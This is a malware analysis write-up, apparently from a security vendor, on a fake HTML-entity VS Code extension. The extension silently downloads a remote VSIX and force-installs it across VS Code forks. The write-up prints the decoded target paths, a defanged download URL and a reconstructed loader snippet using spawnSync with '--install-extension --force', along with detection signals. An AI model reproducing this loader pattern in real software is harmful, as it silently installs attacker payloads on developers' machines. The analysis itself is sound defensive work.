DigitalBarberTrim's Side-Car Loader: A VSIX Installer That Pivots Across VS Code Forks

Some malicious extensions do not steal credentials, mine crypto, or open reverse shells. They install other extensions. The DigitalBarberTrim.html-entity-codec campaign, active in mid-June of 2026, shows how effective that can be when hidden behind a version-cycling loader.

Executive Summary

• Extension: DigitalBarberTrim.html-entity-codec
• Versions analyzed: 0.0.1 through 0.0.45
• Malicious versions: 0.0.3, 0.0.42, 0.0.45
• Evasive stub: 0.0.44
• Risk scores: up to 98
• Loader filename: extension/i.js
• Related campaigns: scanechoes / JadeAkatsuki / ShopkeeperThrust multi-IDE fake Claude Code installers

Technical Analysis

The extension claimed to be an HTML entity encoder — a tiny, believable utility. A developer who installed it would probably not audit every version. The threat actor used that trust to cycle through releases, dropping real malware in some versions and a nearly empty stub in others. The clean versions kept the extension alive and the reviews positive.

The Loader

Every version uses the same entry-point structure:

// 0.0.42
import("./i.js");
// 0.0.44 and 0.0.45
require("./i.js");

i.js is never declared in package.json. It is a side-car module loaded by extension.js at startup.

Obfuscated Installer (Version 0.0.42)

i.js in this version is obfuscated with a string table. It enumerates known VS Code fork binaries, downloads a remote VSIX file, and installs it with via the default editor CLI. The decoded string table shows the full target list and the download URL:

vscode
cursor
windsurf
codium
positron
code-insiders
code
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\Windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
hxxps://github[.]com/Kilophodoor76/utools/releases/download/release/claude-code-2.1.173.vsix
extension.scanEchoes

The install command is built from decoded fragments:

const c = findEditorCLI();
const tmp = path.join(os.tmpdir(), "eh-" + Date.now() + ".vsix");
download(URL, tmp);
spawnSync(c, ["--install-extension", tmp, "--force"], { windowsHide: true, timeout: 60000 });
try { fs.unlinkSync(tmp); } catch {}

The threat actor uses the extension.scanEchoes string as metadata in the downloaded payload, confirming shared infrastructure with the scanEchoes / JadeAkatsuki / ShopkeeperThrust multi-IDE fake Claude Code installers.

File Hashes

Plain Installer (Version 0.0.45)

After the obfuscated versions were caught, the threat actor tried again with a plain 7 KB i.js. The logic is identical but no longer obfuscated and the Linux environment checks are skipped. We did not retrieve the version 0.0.45 artifact, so the exact download URL is unknown and the behavior is the same as version 0.0.42.

Evasive Stub (Version 0.0.44)

Version 0.0.44 contains:

module.exports = () => {
  let a = "s";
};

That is the entire i.js. It does nothing malicious. Argus correctly scored it clean. But the threat actor had shipped real malware in version 0.0.3 and version 0.0.42, then shipped real malware again in version 0.0.45. The version 0.0.44 stub is best explained as a test: can the threat actor keep the side-car loader shape and evade detection by making the side-car benign?

Argus did not flag version 0.0.44 as suspicious, which reveals that the side-car loader pattern itself should be a signal when it comes from a publisher with recent malicious history.

Why it evades detection

What we are doing about it

Argus detects this pattern behaviorally across obfuscated and plain variants:

• require/import of i.js from extension.js
• eh- temp file prefix
• --install-extension --force flags
• multi-IDE targeting

Retro-hunting 500 clean VSIX artifacts produced zero false positives. The behavioral model did not match the 0.0.44 stub, which is correct — the stub has no malicious behavior — but we logged the publisher-history gap separately.

Remediation and recommendations

1. Block all DigitalBarberTrim.html-entity-codec versions and the DigitalBarberTrim namespace.
2. Treat side-car modules not declared in package.json as suspicious when loaded at startup.
3. Track publisher version histories as a trust signal; a clean stub between malicious versions is not a clean publisher.
4. Audit extensionPack metadata for references to known malicious extensions; this campaign shared infrastructure with JadeAkatsuki.trim-whitespace-mini.

Indicators

The DigitalBarberTrim campaign is a lesson in version-cycling and structural persistence. The threat actor is not trying to build the perfect payload, rather they are trying to build the perfect loader shape that scanners keep missing.